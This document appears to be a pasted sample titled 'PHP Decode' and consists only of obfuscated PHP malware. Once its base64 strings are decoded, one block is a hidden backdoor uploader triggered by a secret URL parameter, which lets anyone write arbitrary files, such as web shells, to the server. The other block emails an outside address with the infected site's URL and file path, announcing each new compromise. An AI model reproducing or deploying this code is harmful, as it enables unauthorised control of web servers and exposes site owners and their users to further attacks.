PHP Decode

<?php error_reporting(0);$axoy54b53072540eeeb8=$_GET[base64_decode('eHg=')];if($axoy54b53072540eeeb8==base64_decode('eHh4')){$uvnx3b47f5064418f00e=$_FILES[base64_decode('ZmlsZQ==')][base64_decode('dG1wX25hbWU=')];$qxjz489d2a1148292320=$_FILES[base64_decode('ZmlsZQ==')][base64_decode('bmFtZQ==')];echo base64_decode('PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJ25hbWU9J2ZpbGUnIC8+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nb2snIC8+DQo8L2Zvcm0+');move_uploaded_file($uvnx3b47f5064418f00e,$qxjz489d2a1148292320);}?> 
<? $xtvv98defd6ee70dfb1dea416cecdf391f58=base64_decode('Mg==');if(!ereg($xtvv98defd6ee70dfb1dea416cecdf391f58,$_SERVER[base64_decode('U0VSVkVSX05BTUU=')])){$osvg01b6e20344b68835c5ed1ddedf20d531=base64_decode('aXE5Njk5OUBvdXRsb29rLmNvbQ==');$kwnnb5e3374e43f6544852f7751dfc529100=base64_decode('Ym9vbWIgTmV3');$rrug099fb995346f31c749f6e40db0f395e3=base64_decode('ZnJvbTogZG9uaXFib20gPGFjY291bnRsb3ZlPg==');$bmve78e731027d8fd50ed642340b7c9a63b3=base64_decode('TGluayA6IGh0dHA6Ly8=').$_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')].base64_decode('DQo=');$bmve78e731027d8fd50ed642340b7c9a63b3.=base64_decode('UGF0aCA6IA==').__file__;$ellae933babef46b229b61df0f8e4a0d1df0=@mail($osvg01b6e20344b68835c5ed1ddedf20d531,$kwnnb5e3374e43f6544852f7751dfc529100,$bmve78e731027d8fd50ed642340b7c9a63b3,$rrug099fb995346f31c749f6e40db0f395e3);echo '';exit;}?>